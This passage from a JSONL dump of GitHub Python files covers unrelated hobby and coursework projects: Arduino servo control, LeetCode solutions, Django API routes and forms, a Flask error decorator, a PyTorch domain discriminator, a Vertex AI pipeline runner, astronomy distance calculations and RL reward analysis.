"numpy.mean", "line_number": 260, "usage_type": "call"}]} +{"seq_id": "41289361642", "text": "import serial\nfrom pyfirmata import Arduino, SERVO\nimport time\nimport asyncio\n\n# Arduino variables\nSERVO_COM = \"COM8\"\nSENSOR_COM = \"COM9\"\nBAUD = 115200\n\n# Gyro Data Storage\nRECENT_0 = []\nRECENT_1 = []\nRECENT_2 = []\n\n# Servo Pins (Digital)\nShoulderYaw = 2\nShoulderPitch = 4\nElbowPitch = 6\nWristRoll = 8\nServoIDRef = [ShoulderYaw, ShoulderPitch, ElbowPitch, WristRoll]\nServoPosRef = [90, 90, 90, 90]\n\n# =========================== FUNCTIONS =================================\n\ndef millis(seconds):\n return seconds / 1000\n\ndef clamp(val, minimum, maximum):\n return max(minimum, min(val, maximum))\n\ndef correctRelativeOrientation(mpuId, reading): # 0 - Yaw, 1 - Pitch, 2 - Roll\n global RECENT_0\n global RECENT_1\n global RECENT_2\n \n relSwitch = {\n 0: reading,\n 1: reading - RECENT_0[1],\n 2: reading - RECENT_0[2]\n }\n\n return relSwitch.get(mpuId)\n\ndef resetServos():\n for i in range (len(ServoIDRef)):\n board.digital[ServoIDRef[i]].mode = SERVO\n board.digital[ServoIDRef[i]].write(90)\n\ndef alignServos():\n global RECENT_0\n global RECENT_1\n global RECENT_2\n global ServoPosRef\n\n for id in range (len(ServoIDRef)):\n mpuId = clamp(id - 1, 0, 2)\n\n readingSwitch = {\n 0: RECENT_0[0],\n 1: RECENT_0[1],\n 2: RECENT_1[1],\n 3: RECENT_2[2]\n }\n reading = readingSwitch.get(id)\n reading = correctRelativeOrientation(mpuId, reading)\n reading = clamp(reading+90, 0, 180)\n\n board.digital[ServoIDRef[id]].mode = SERVO\n board.digital[ServoIDRef[id]].write((reading - ServoPosRef[id]) / 2)\n ServoPosRef[id] = ((reading - ServoPosRef[id]) / 2)\n \n time.sleep(millis(15))\n\n# =======================================================================\n\n# God this is so poorly formatted i'm so sorry to anyone trying to read this\n\n# ============================= MAIN ====================================\n\ntry:\n board = Arduino(SERVO_COM)\n buffer = serial.Serial(SENSOR_COM, BAUD)\n board.exit()\n buffer.close()\n board = Arduino(SERVO_COM)\n buffer = serial.Serial(SENSOR_COM, BAUD)\n buffer.timeout = 1\n\n resetServos()\nexcept:\n print(\"Arduino board not plugged in! (Or not accessible on specified port)\")\n time.sleep(5)\n quit()\n\ndef main():\n global RECENT_0\n global RECENT_1\n global RECENT_2\n\n while True:\n buffer.flushInput()\n data = buffer.readline().decode('ascii')\n if (data.__contains__('>')):\n print(\"\\n\\n\\n\")\n print(\"=== GYROSCOPE DATA ===\")\n gyroData = data.split(\",\")\n\n yaw = float(gyroData[1])\n pitch = float(gyroData[2])\n roll = float(gyroData[3])\n\n print(\"Yaw: \" + str(yaw))\n print(\"Pitch: \" + str(pitch))\n print(\"Roll: \" + str(roll))\n print(\"======================\")\n\n if (gyroData[0] == \">0<\"):\n RECENT_0 = [yaw, pitch, roll]\n elif (gyroData[0] == \">1<\"):\n RECENT_1 = [yaw, pitch, roll]\n elif (gyroData[0] == \">2<\"):\n RECENT_2 = [yaw, pitch, roll]\n \n try:\n alignServos()\n except Exception as e:\n print(\"WARNING: Exception raised in 'alignServos()' >>> \" + str(e))\n \n else:\n print(data)\n\nmain()\n\n# ==================================================================================", "repo_name": "DucksIncoming/Mechanical-Tracking-Arm", "sub_path": "MechArm.py", "file_name": "MechArm.py", "file_ext": "py", "file_size_in_byte": 3500, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pyfirmata.SERVO", "line_number": 47, "usage_type": "name"}, {"api_name": "pyfirmata.SERVO", "line_number": 69, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 73, "usage_type": "call"}, {"api_name": "pyfirmata.Arduino", "line_number": 82, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 83, "usage_type": "call"}, {"api_name": "pyfirmata.Arduino", "line_number": 86, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 87, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 93, "usage_type": "call"}]} +{"seq_id": "5893219911", "text": "from typing import List\n\n\ndef combinationSum4(nums: List[int], target: int) -> int:\n dp = [0] * (target + 1)\n dp[0] = 1\n res = 0\n for i in range(target + 1):\n for num in nums:\n if i >= num:\n dp[i] += dp[i - num]\n return dp[target]\n\n\ndef main():\n nums = [1, 2, 3]\n target = 4\n print(combinationSum4(nums, target))\n\n\nif __name__ == '__main__':\n main()", "repo_name": "Acang98UP/LeetcodeInPython", "sub_path": "377-组合总数Ⅳ-Mid/combinationSum4.py", "file_name": "combinationSum4.py", "file_ext": "py", "file_size_in_byte": 409, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 4, "usage_type": "name"}]} +{"seq_id": "18264271673", "text": "from django.urls import path\nfrom .views import (BookLISTAPIView,BookDetailView,\n\t\t\t\t\tBookCreateAPIView,BookDeleteAPIView,\n\t\t\t\t\tBookUpdateAPIView,RegisterAPIView)\nfrom rest_framework.authtoken.views import obtain_auth_token\n\nurlpatterns = [\n\tpath('', BookLISTAPIView.as_view(), name='home'),\n\tpath('create/',BookCreateAPIView.as_view(),name='create'),\n\tpath('/',BookDetailView.as_view(),name='detail'),\n\tpath('/delete/',BookDeleteAPIView.as_view(),name='delete'),\n\tpath('/edit/',BookUpdateAPIView.as_view(),name='update'),\n\n\t#rest auth\n\tpath('register/',RegisterAPIView.as_view(),name='register'),\n\tpath('login/',obtain_auth_token,name='login'),\n]\n", "repo_name": "ShaxaDev/books_api", "sub_path": "library/api/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 672, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "views.BookLISTAPIView.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "views.BookLISTAPIView", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "views.BookCreateAPIView.as_view", "line_number": 9, "usage_type": "call"}, {"api_name": "views.BookCreateAPIView", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "views.BookDetailView.as_view", "line_number": 10, "usage_type": "call"}, {"api_name": "views.BookDetailView", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "views.BookDeleteAPIView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "views.BookDeleteAPIView", "line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "views.BookUpdateAPIView.as_view", "line_number": 12, "usage_type": "call"}, {"api_name": "views.BookUpdateAPIView", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "views.RegisterAPIView.as_view", "line_number": 15, "usage_type": "call"}, {"api_name": "views.RegisterAPIView", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "rest_framework.authtoken.views.obtain_auth_token", "line_number": 16, "usage_type": "argument"}]} +{"seq_id": "3190383141", "text": "# articles/forms.py\n\nfrom tkinter import Widget\nfrom django import forms\nfrom .models import Article\n\n# class ArticleForm(forms.Form):\n# NATION_A = 'KR'\n# NATION_B = 'CH'\n# NATION_C = 'JP'\n# NATION_CHOICES = [\n# (NATION_A, '한국'),\n# (NATION_B, '중국'),\n# (NATION_C, '일본'),\n# ]\n# title = forms.CharField(max_length=10)\n# content = forms.CharField(widget=forms.Textarea)\n# nation = forms.ChoiceField(choices = NATION_CHOICES)\n\nclass ArticleForm(forms.ModelForm):\n title = forms.CharField(\n label = '제목',\n widget=forms.TimeInput(\n attrs={\n 'class' : 'my-title',\n 'placeholder' : 'Enter the title',\n 'maxlength' : 10,\n }\n )\n )\n\n content = forms.CharField(\n label = '내용',\n widget=forms.Textarea(\n attrs={\n 'class' : 'my-content',\n 'placeholder' : 'Enter the content',\n 'row' : 5,\n 'col' : 50,\n }\n ),\n error_messages={\n 'required' : '내용 입력좀',\n }\n )\n \n class Meta:\n model = Article # 어떤 모델을 기반으로 할지\n fields = '__all__' # 어떤 모델필드 중 어떤 것을 출력할지 / ('title', 'content')와 같은 의미\n ", "repo_name": "zer0eat/Django", "sub_path": "django-4-form/articles/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 1367, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.forms.ModelForm", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 20, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 21, "usage_type": "name"}, {"api_name": "django.forms.TimeInput", "line_number": 23, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 23, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 32, "usage_type": "name"}, {"api_name": "django.forms.Textarea", "line_number": 34, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 34, "usage_type": "name"}, {"api_name": "models.Article", "line_number": 48, "usage_type": "name"}]} +{"seq_id": "41032921249", "text": "import logging\n\nfrom flask import jsonify\nfrom functools import wraps\n\n\nfrom exceptions import NotAuthorised, WrongCurrency, MissingArguments\n\n\ndef error_catcher(func):\n @wraps(func)\n def wrapper():\n try:\n data, code = func()\n return jsonify({\"data\": data}), code\n\n except NotAuthorised as e:\n logging.error(f\"Error occured : {e}\")\n return jsonify(e.message), e.code\n\n except WrongCurrency as e:\n logging.error(f\"Error occured : {e}\")\n return jsonify(e.message), e.code\n\n except MissingArguments as e:\n logging.error(f\"Error occured : {e}\")\n return jsonify(e.message), e.code\n\n except Exception as e:\n logging.error(f\"Error occured : {e}\")\n return {\"message\": str(e)}, 500\n\n return wrapper\n", "repo_name": "perites/my_payments", "sub_path": "decorators.py", "file_name": "decorators.py", "file_ext": "py", "file_size_in_byte": 844, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.jsonify", "line_number": 15, "usage_type": "call"}, {"api_name": "exceptions.NotAuthorised", "line_number": 17, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 19, "usage_type": "call"}, {"api_name": "exceptions.WrongCurrency", "line_number": 21, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 23, "usage_type": "call"}, {"api_name": "exceptions.MissingArguments", "line_number": 25, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 27, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 30, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 11, "usage_type": "call"}]} +{"seq_id": "74871297289", "text": "import sys\nsys.path.append('..')\nfrom torch import autograd, optim, nn\n# 梯度反转层\nfrom torch.autograd import Function\n\nclass ReverseLayerF(Function):\n\n @staticmethod\n def forward(ctx, x, alpha=0.5):\n ctx.alpha = alpha\n return x.view_as(x)\n\n @staticmethod\n def backward(ctx, grad_output):\n\n output = grad_output.neg() * ctx.alpha #@jinhui 去掉.neg() 可以尝试学习领域特有信息\n # output = grad_output * ctx.alpha\n return output, None\n\nclass Discriminator(nn.Module):\n \n def __init__(self, hidden_size=230, num_labels=2):\n nn.Module.__init__(self)\n\n\n self.domainClass = nn.Sequential(\n nn.Linear(hidden_size, int(hidden_size/8)*2),\n nn.ReLU(),\n nn.Linear(int(hidden_size/8)*2, int(hidden_size/16)),\n nn.ReLU(),\n nn.Linear(int(hidden_size/16), 2)\n )\n\n def forward(self, x, alpha):\n x = ReverseLayerF.apply(x, alpha)\n logits = self.domainClass(x)\n return logits\n", "repo_name": "Atrewin/CroDomainFSSA", "sub_path": "DAProtoNetModel/layers/d.py", "file_name": "d.py", "file_ext": "py", "file_size_in_byte": 1030, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.path.append", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "torch.autograd.Function", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Module.__init__", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "32503342630", "text": "from __future__ import annotations\n\nimport dataclasses\nfrom typing import Any, Dict, Optional\n\nfrom google.cloud import aiplatform as vertex\nimport yaml\n\nfrom pipelines import utils\n\n\n@dataclasses.dataclass\nclass PipelineRunConfig:\n \"\"\"Vertex Pipelines pipeline run configuration.\n\n Attributes:\n pipeline_name: Display name of the pipeline job in Vertex AI Pipelines.\n pipeline_path: Location of the pipeline specification file.\n gcs_root_path: GCS path to store data generated during pipeline execution.\n location: GCP location to use for running the pipeline, e.g. us-central1.\n enable_caching: If True, enable caching of pipeline runs.\n service_account: Service account to use.\n sync: Whether to execute this method synchronously.\n If False, this method will unblock and it will be executed in a concurrent\n Future.\n \"\"\"\n\n pipeline_name: str\n pipeline_path: str\n gcs_root_path: str\n location: str\n enable_caching: bool = True\n service_account: Optional[str] = None\n sync: bool = True\n\n @classmethod\n def from_file(cls, filepath: str) -> PipelineRunConfig: # noqa: ANN102\n \"\"\"Creates a `PipelineRunConfig` instance from a YAML config file.\"\"\"\n with open(filepath) as fp:\n data = yaml.safe_load(fp)\n run_config = cls(\n pipeline_name=data[\"pipeline-name\"],\n pipeline_path=data[\"pipeline-path\"],\n gcs_root_path=data[\"gcs-root-path\"],\n location=data[\"location\"],\n )\n for attr_name in (\"enable-caching\", \"service-account\", \"sync\"):\n if attr_name in data:\n attr_name_underscore = attr_name.replace(\"-\", \"_\")\n setattr(run_config, attr_name_underscore, data[attr_name])\n return run_config\n\n\ndef run(\n run_config: PipelineRunConfig,\n pipeline_params: Dict[str, Any],\n) -> str:\n \"\"\"Runs a Kubeflow pipeline given by specification file.\n\n Args:\n run_config: Vertex Pipelines pipeline run configuration.\n pipeline_params: Kubeflow pipeline parameters\n\n Returns:\n Vertex Pipelines job ID.\n \"\"\"\n job_id = utils.get_job_id(run_config.pipeline_name)\n vertex.PipelineJob(\n display_name=run_config.pipeline_name,\n job_id=job_id,\n template_path=run_config.pipeline_path,\n pipeline_root=run_config.gcs_root_path,\n parameter_values=pipeline_params,\n enable_caching=run_config.enable_caching,\n location=run_config.location,\n ).run(\n service_account=run_config.service_account,\n sync=run_config.sync,\n )\n return job_id\n", "repo_name": "google/vertex-pipelines-boilerplate", "sub_path": "src/pipelines/pipeline_runner.py", "file_name": "pipeline_runner.py", "file_ext": "py", "file_size_in_byte": 2661, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.Optional", "line_number": 33, "usage_type": "name"}, {"api_name": "yaml.safe_load", "line_number": 40, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 12, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 56, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 56, "usage_type": "name"}, {"api_name": "pipelines.utils.get_job_id", "line_number": 67, "usage_type": "call"}, {"api_name": "pipelines.utils", "line_number": 67, "usage_type": "name"}, {"api_name": "google.cloud.aiplatform.PipelineJob", "line_number": 68, "usage_type": "call"}, {"api_name": "google.cloud.aiplatform", "line_number": 68, "usage_type": "name"}]} +{"seq_id": "34005702441", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 23 16:00:16 2018\n\n@author: amena\n\"\"\"\n\nimport pandas as pd \nfrom astropy.coordinates import Angle\nfrom astropy import units as u\nimport numpy as np\nfrom scipy.integrate import quad\n\ndata = pd.read_csv(r'blackholes.csv')\n\nra_list = []\ndec_list = []\ndists = []\n\n\nfor item in data['Right Ascension']:\n item = str(item).split(\",\")[0]\n if len(str(item).split(\":\")) == 3:\n ra = Angle(item, unit = u.hourangle).degree\n ra_list.append(ra)\n elif len(str(item).split(\":\")[0]) == 2:\n item = \"00:\" + item\n ra = Angle(item, unit = u.hourangle).degree\n ra_list.append(ra)\n\nfor item in data['Declination']:\n item0 = str(item).split(\",\")[0]\n if len(str(item0).split(\":\")) == 3:\n dec = Angle(item0, unit = u.degree).degree\n dec_list.append(dec)\n elif len(str(item0).split(\":\")[0]) == 2:\n item = \"00:\" + item\n dec = Angle(item, unit = u.degree).degree\n dec_list.append(dec)\n elif len(str(item).split(\",\")) > 1:\n item1 = str(item).split(\",\")[1] \n dec = Angle(item1, unit = u.degree).degree\n dec_list.append(dec)\n\ndef integrand(x):\n md=0.3\n cc=0\n l=0.7\n E=np.sqrt(md*(1+x)**3+cc*(1+x)**2+l)\n return 1/E\n\nfor z in data['Redshift']:\n dist, err = quad(integrand, 0, z)\n dists.append(4550*dist*1000000*206264.80624548031)\n \n\nnew_data = pd.DataFrame({\n 'name': data['Object'],\n 'ra': ra_list,\n 'dec': dec_list,\n 'date': data['date'],\n 'dist': dists,\n 'mabs': [0 for num in range(len(data))],\n 'mapp': [0 for num in range(len(data))],\n 'type':['blackhole' for number in range(len(data))],\n 'z': data['Redshift'],\n \n })\n\nnew_data.to_csv('MoU_blackholes(July_2018).csv')", "repo_name": "amenafaruqi/map_of_universe_2018", "sub_path": "other_scripts/blackhole_dists.py", "file_name": "blackhole_dists.py", "file_ext": "py", "file_size_in_byte": 1854, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "astropy.coordinates.Angle", "line_number": 24, "usage_type": "call"}, {"api_name": "astropy.units.hourangle", "line_number": 24, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 24, "usage_type": "name"}, {"api_name": "astropy.coordinates.Angle", "line_number": 28, "usage_type": "call"}, {"api_name": "astropy.units.hourangle", "line_number": 28, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 28, "usage_type": "name"}, {"api_name": "astropy.coordinates.Angle", "line_number": 34, "usage_type": "call"}, {"api_name": "astropy.units.degree", "line_number": 34, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 34, "usage_type": "name"}, {"api_name": "astropy.coordinates.Angle", "line_number": 38, "usage_type": "call"}, {"api_name": "astropy.units.degree", "line_number": 38, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 38, "usage_type": "name"}, {"api_name": "astropy.coordinates.Angle", "line_number": 42, "usage_type": "call"}, {"api_name": "astropy.units.degree", "line_number": 42, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 49, "usage_type": "call"}, {"api_name": "scipy.integrate.quad", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "16509049365", "text": "#%% \n# Imports\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\nimport pickle\nfrom tqdm import tqdm\nfrom sklearn.linear_model import LinearRegression\n\n# %%\n\"\"\" Loading dataset \"\"\"\ntrain_data = dict()\n\nenvs = ['halfcheetah', 'hopper', 'walker2d']\ndatasets = ['expert', 'medium_replay', 'medium']\ndata_features = ['observations', 'next_observations', 'actions', 'rewards', 'terminals']\n\nfor e in envs:\n for d in datasets:\n with open(f'./data/{e}-{d}-v2.pkl', 'rb') as f:\n train_data[f'{e}-{d}'] = pickle.load(f)\n \n\n# %%\n\"\"\" Define functions got getting multiple reward coefficients \"\"\"\n\n# Calculating forward reward\ndef get_forward_reward(positions):\n return positions[1:] - positions[:-1]\n\n# Calculating control cost\ndef get_control_cost(actions):\n return np.sum(np.square(actions), axis=1)\n\n# calculate the weights of the individual parts of the reward using linear regression\ndef get_coef(data_temp, use_healthy_reward=False, use_intercept=False):\n \n forward_reward = get_forward_reward(data_temp['infos/qpos'][:,0])\n ctrl_cost = get_control_cost(data_temp['actions'])\n\n target_reward = data_temp['rewards'][:-1]\n\n if use_healthy_reward: \n healthy_reward = np.array(~data_temp['terminals'], dtype=int)\n X = np.stack((forward_reward, ctrl_cost[:-1], healthy_reward[:-1]), axis=0).T\n else:\n X = np.stack((forward_reward, ctrl_cost[:-1]), axis=0).T\n\n # Do linear regression\n reg = LinearRegression(fit_intercept=False).fit(X, target_reward)\n \n return reg, X, target_reward\n\n# %%\n\"\"\" Perform linear regression and plot residuals \"\"\"\n\n\ndata_temp = train_data['halfcheetah-medium_replay'] # Get dataset\n\nresults = []\nfor e, i in enumerate(data_temp):\n reg, X, target_reward = get_coef(i, use_healthy_reward=True, use_intercept=False) # Do linear regression\n results.append([*reg.coef_, reg.score(X, target_reward),5])\n predictions = reg.predict(X)\n plt.scatter(predictions, predictions - target_reward, c='C0')\n\nprint(\"Mean: (Forward, control, healthy, score):\",np.mean(results,axis=0)) # Print coefficients\n\nprint(\"Last: (Forward, control, healthy, score):\",results[-1]) # Print coefficients\n\n# Do prediction\n\nplt.hlines(0, min(predictions), max(predictions), linestyles='--', colors='C1')\nplt.xlabel(\"Prediction\")\nplt.ylabel(\"Error\")\nplt.title(\"Raw Trajectories\")\nplt.show()\n\n# # mask for points with low error\n# tolerance = 0.002\n# mask = abs(predictions - target_reward ) < tolerance\n\n# data_masked = data_temp\n# reg, X, target_reward = get_coef(data_masked, use_healthy_reward=True, use_intercept=False) # Do linear regression\n\n# print(\"(Forward, control, healthy):\",reg.coef_,\"| Score:\" ,reg.score(X, target_reward)) # Print coefficients\n\n# plt.scatter(predictions, predictions - target_reward, c='C0')\n# plt.xlabel(\"Prediction\")\n# plt.ylabel(\"Error\")\n# plt.title(\"Removed data with error > 0.002\")\n# plt.hlines(0, min(predictions), max(predictions), linestyles='--', colors='C1')\n# plt.show()\n\n\n#%%\ndata_temp = train_data['hopper-medium_replay'] # Get dataset\n\nfor i, e in enumerate(data_temp):\n if len(data_temp[i][\"actions\"]) != len(data_temp[i][\"rewards\"]):\n print(i)", "repo_name": "TheGoldenChicken/decision_transformer", "sub_path": "gym/analyses/data_analysis_v2.py", "file_name": "data_analysis_v2.py", "file_ext": "py", "file_size_in_byte": 3215, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pickle.load", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hlines", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}]} +{"seq_id": "50537264126", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep 18 12:56:41 2016\n\n@author: Xiaoyu\n\"\"\"\n\nimport scipy;\nimport matplotlib\nimport matplotlib.pylab\nimport numpy\n\n\nclass Parabola:\n def __init__(self,alpha,center=0):\n self.alpha = alpha;\n self.center = center;\n self.n = 1;\n \n def feval(self,x):\n mini = numpy.subtract(x,self.center);\n mini = mini**2\n fval = numpy.dot(mini,self.alpha)\n return fval\n \n def seval(self,x,ndata=None):\n fval = numpy.dot(numpy.subtract(x, self.center)**2,self.alpha)\n return fval\n \n def grad(self,x):\n raw = 2*numpy.multiply(numpy.subtract(x, self.center),self.alpha)\n gvalue = raw/numpy.linalg.norm(raw)\n# gvalue = gvalue/g\n return gvalue\n \n def sgrad(self,x,ndata=None):\n size = numpy.size(x[0])\n num_p = numpy.size(x)/size\n a = numpy.zeros(size)\n direct = numpy.random.randint(0,size,1)\n a[direct] = 1\n a=numpy.array([a]*num_p)\n sgrad = a*(self.grad(x))\n return sgrad\n \n def step_size(self,gamma,start=1):\n self.n=self.n+1\n size = start / (self.n**gamma)\n return size\n\nclass ParabolaDir(Parabola):\n def sgrad(self,x,ndata=None):\n size = numpy.size(x[0])\n num_p = numpy.size(x)/size\n direction = scipy.randn(num_p,size)\n# norms = scipy.sqrt((direction*direction).sum(axis=1))\n# direction = direction/norms.reshape(num_p,1)\n direction = numpy.random.randint(2,size=size)\n direction = numpy.array([direction]*num_p)\n sgrad = direction*(self.grad(x))\n return sgrad\n \n \n\n#def step_size(gamma,start=1,n):\n# size = start / (n**gamma)\n# return size\n#\n#afunc = Parabola([1,2,3,4],[0,0,0,0])\n#class SGD:\n# def __init__(self,afunc,x0,sfunc,proj=None,histsize = -1,smallhist=False,ndata=100,keepobj=True):\n# self.sgrad = afunc.sgrad(x0)\n# self.hist=x0\n# self.x = x0\n# self.feval = afunc.feval(x0)\n# self.seval = afunc.seval(x0)\n# self.par = p\n# self.n = 1;\n# \n# \n# def setStart(self,x0):\n# self.x = x0\n# self.hist = x0\n## \n## def reset(self):\n## self.x = self.x0\n## \n# def dostep(self):\n# stepsize = self.step_size(0.6,0.8)\n# self.x = self.x - stepsize*(self.sgrad)\n# self.hist.append(self.x)\n# \n \n# \n#\n# \n# def nsteps(self, an = 1):\n# \n# def getAvgSoln(self, wsize=10):\n# \n# def getSoln(self,wsize=10,winterval=10,abstol = 1e-6, reltol=1e-6):\n# \n# def plot(self, fname=None, n=100, alphaMult=1, axis=None):\n \n \n \n ", "repo_name": "Xiaoyu485/Computational-Optimization", "sub_path": "hw3/parabola.py", "file_name": "parabola.py", "file_ext": "py", "file_size_in_byte": 2717, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.subtract", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.size", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 54, "usage_type": "call"}, {"api_name": "scipy.randn", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 59, "usage_type": "call"}]} +{"seq_id": "73889168969", "text": "# https://leetcode.com/problems/plus-one/\n\nfrom typing import List\n\n\nclass Solution:\n def plusOne(self, digits: List[int]) -> List[int]:\n digits_str = ''.join(str(i) for i in digits)\n next_digits_str = str(int(digits_str) + 1)\n next_digits = 